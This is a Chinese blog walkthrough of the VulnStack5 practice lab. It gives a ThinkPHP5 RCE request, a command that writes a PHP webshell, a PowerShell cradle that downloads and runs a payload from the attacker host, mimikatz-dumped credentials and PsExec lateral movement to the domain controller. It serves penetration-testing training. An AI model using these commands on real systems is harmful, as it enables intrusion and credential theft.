前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >VulnStack5-Walkthrough - 红队攻击之域内靶机渗透实战演练

VulnStack5-Walkthrough - 红队攻击之域内靶机渗透实战演练

作者头像
渗透攻击红队
发布2020-11-25 10:42:20
3.1K1
发布2020-11-25 10:42:20
举报
文章被收录于专栏:漏洞知识库漏洞知识库

VuInStack-5

此攻击环境是红日安全的ATT&CK靶场五,此次虚拟机共用两个,一个外网,一个内网,用来练习红队相关的知识。

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

VulnStack5-Walkthrough

运用到的知识点

ThinkPHP5-rce-getshell

Cobalt Strike 提权 MS14058

PsExec 工具使用


环境

攻击机Kali:192.168.203.129

攻击机Win10:192.168.2.4

靶机Win7:192.168.203.130(网络边界)、192.168.138.135(内网IP)

靶机Win2008:192.168.138.138(DC)


信息搜集

知道攻击目标后先进行信息收集,渗透的本质就是信息收集!

既然目标是IP那么直接使用Nmap扫描端口开放情况:

代码语言:javascript
复制
nmap -A -T4 192.168.203.130

可见目标开放了几个常用的端口:80(http)、135(rpc)、139(NetBIOS - Samba)、445(Samba),因此判断目标主机应该是Windows。

先打开Web页面看看:http://192.168.203.130/

发现是ThinkPHP5搭建的网站(TP有RCE漏洞),我们可以先扫扫目录看看有没有突破点:

没有发现可利用的文件,字典问题!


ThinkPHP5-RCE-GetSHELL

既然上面信息收集发现是TP5,那么我们可以尝试看看目标是否存在RCE:

代码语言:javascript
复制
# 执行命令
http://192.168.203.130/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

发现可以执行命令!那么先写入一个一句话进去:

代码语言:javascript
复制
# 写入一句话
http://192.168.203.130/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"]);?^>>shell.php

蚁剑连接Webshell:


打入内网

拿到Shell后先对内网进行一个简单的搜集,先看看IP网卡信息:

代码语言:javascript
复制
ipconfig /all

发现有两个网卡:

代码语言:javascript
复制
C:\phpStudy\PHPTutorial\WWW\public> ipconfig /all
Windows IP 配置
 
   主机名  . . . . . . . . . . . . . : win7
   主 DNS 后缀 . . . . . . . . . . . : sun.com
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : sun.com
                                       localdomain
 
以太网适配器 本地连接:
 
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
   物理地址. . . . . . . . . . . . . : 00-0C-29-BE-2F-CB
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::50b:a7b3:5ed5:f577%15(首选) 
   IPv4 地址 . . . . . . . . . . . . : 192.168.138.136(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 
   DHCPv6 IAID . . . . . . . . . . . : 352324649
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
   DNS 服务器  . . . . . . . . . . . : 192.168.138.138
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用
 
以太网适配器 wk1 waiwang:
 
   连接特定的 DNS 后缀 . . . . . . . : localdomain
   描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   物理地址. . . . . . . . . . . . . : 00-0C-29-BE-2F-C1
   DHCP 已启用 . . . . . . . . . . . : 是
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::3c32:c19:2135:b9fb%11(首选) 
   IPv4 地址 . . . . . . . . . . . . : 192.168.203.130(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   获得租约的时间  . . . . . . . . . : 2020年10月24日 21:38:37
   租约过期的时间  . . . . . . . . . : 2020年10月24日 22:34:57
   默认网关. . . . . . . . . . . . . : 192.168.203.2
   DHCP 服务器 . . . . . . . . . . . : 192.168.203.254
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
   DNS 服务器  . . . . . . . . . . . : 192.168.203.2
   主 WINS 服务器  . . . . . . . . . : 192.168.203.2
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

一个外网IP(192.168.203.130),一个内网IP(192.168.138.136)。

其次发现主DNS后缀是 sun.com 因此判断是在域内环境。

Ping sun.com 锁定域控 IP 为:192.168.138.138

代码语言:javascript
复制
C:\phpStudy\PHPTutorial\WWW\public> ping sun.com
正在 Ping sun.com [192.168.138.138] 具有 32 字节的数据:
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
 
192.168.138.138 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

紧接着 systeminfo 发现目标主机是 Win7 :

补丁也只打了仅仅三个:(对于攻击者来说这是一条好消息)

代码语言:javascript
复制
修补程序:         安装了 3 个修补程序。
                  [01]: KB2534111
                  [02]: KB2999226
                  [03]: KB976902

横向渗透

既然是在域里,那么我还是先用 Cobalt Strike 上线 Win7吧。

关于 Cobalt Strike 的使用,我以后会把我学习CS的笔记发到微信公众号,别急。

在这里我用的是 Powershell 上线方式:

一:创建一个监听器

之后在目标主机上运行命令成功上线CS:

代码语言:javascript
复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.203.129:80/a'))"

先常规扫描一下内网存活主机,在这里我使用的是K8哥哥的神器(Ladon),是真的牛皮这个工具!

代码语言:javascript
复制
Ladon 192.168.138.0/24 OnlinePC

发现内网存在一台主机为域控DC (192.168.138.138)

由于当前网络边界主机的补丁很少,可以尝试MS14058提权:

提权成功,当前权限为 System 系统权限!

之后加载 mimikatz 抓取一下密码试试:

代码语言:javascript
复制
SUN\Administrator dc321.com
SUN.COM\leo 123.com

成功抓到域用户leo和域管理员administrator和的密码和Hash!

之后可以通过PsExec进行传递执行命令,但是由于目标主机是内网有可能不出外网,那么我们需要进行中转上线!

PSEXEC执行原理:

前提:目标开启 admin$,445端口共享

通过ipc$连接,然后释放psexesvc.exe到目标机器。

通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

客户端连接执行命令,服务端启动相应的程序并执行回显数据。

缺点:目标系统会用一个psexec的服务,在Windows日志里可以被溯源到IP

先创建一个监听器:

Session 我选择的是 System 权限的这个作为中转!

然后生成一个木马用于中转上线:

Stage 选择刚刚创建的监听器,然后选择 Windows EXE,创建保存:

把生成的 4444.exe 上传到目标服务器上,然后再把PsExec也一同上传到目标服务器上:

之后使用命令运行PsExec执行命令,用刚刚mimikatz抓取到的明文密码配合生成的木马成功上线域控:

代码语言:javascript
复制
shell C:\phpStudy\PHPTutorial\WWW\public\PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p dc321.com -d -c C:\phpStudy\PHPTutorial\WWW\public\4444.exe

最后抓取域内所有用户密码Hash完成本次渗透:


总结

本次靶场练习有域环境,相对于新手学习内网是一个很好的靶机,相对简单。


参考文章:

http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

https://www.anquanke.com/post/id/84938

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档